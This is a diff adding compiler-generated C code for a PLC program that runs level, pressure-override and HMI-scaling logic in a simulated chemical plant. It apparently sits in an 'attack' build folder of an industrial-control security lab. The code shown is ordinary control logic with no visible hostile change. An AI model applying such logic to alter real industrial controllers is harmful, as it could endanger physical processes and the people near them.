__SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - 